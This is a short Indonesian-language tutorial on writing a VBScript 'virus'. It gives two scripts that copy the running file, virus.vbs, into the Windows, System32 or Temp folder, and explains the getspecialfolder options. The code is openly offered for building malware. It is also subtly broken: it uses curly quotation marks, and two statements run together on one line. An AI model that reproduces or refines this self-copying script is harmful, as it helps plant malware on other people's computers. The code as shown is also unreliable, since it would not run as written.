Masuk Notepad kemudian tulis script di bawah ini :
CreateObject(”Scripting.FileSystemObject”).
GetFile(WScript.ScriptFullName).Copy “c:\windows\system32\virus.vbs”
Simpan script tersebut dalam bentuk file.vbs, misal : virus.vbs
Ada juga cara lain dengan script seperti ini:
On Error Resume Nextcreateobject(”scripting.filesystemobject”).copyfile wscript.scriptfullname,createobject(”scripting.filesystemobject”).getspecialfolder(1) & “\virus.vbs”
Simpan script tersebut dalam bentuk file.vbs, misal : virus.vbs
.getspecialfolder(0) kode ini berfungsi untuk mengcopykan virus.vbs ke direktory Windows
.getspecialfolder(1) kode ini berfungsi untuk mengcopykan virus.vbs ke direktory System32
.getspecialfolder(2) kode ini berfungsi untuk mengcopykan virus.vbs ke direktory Temporary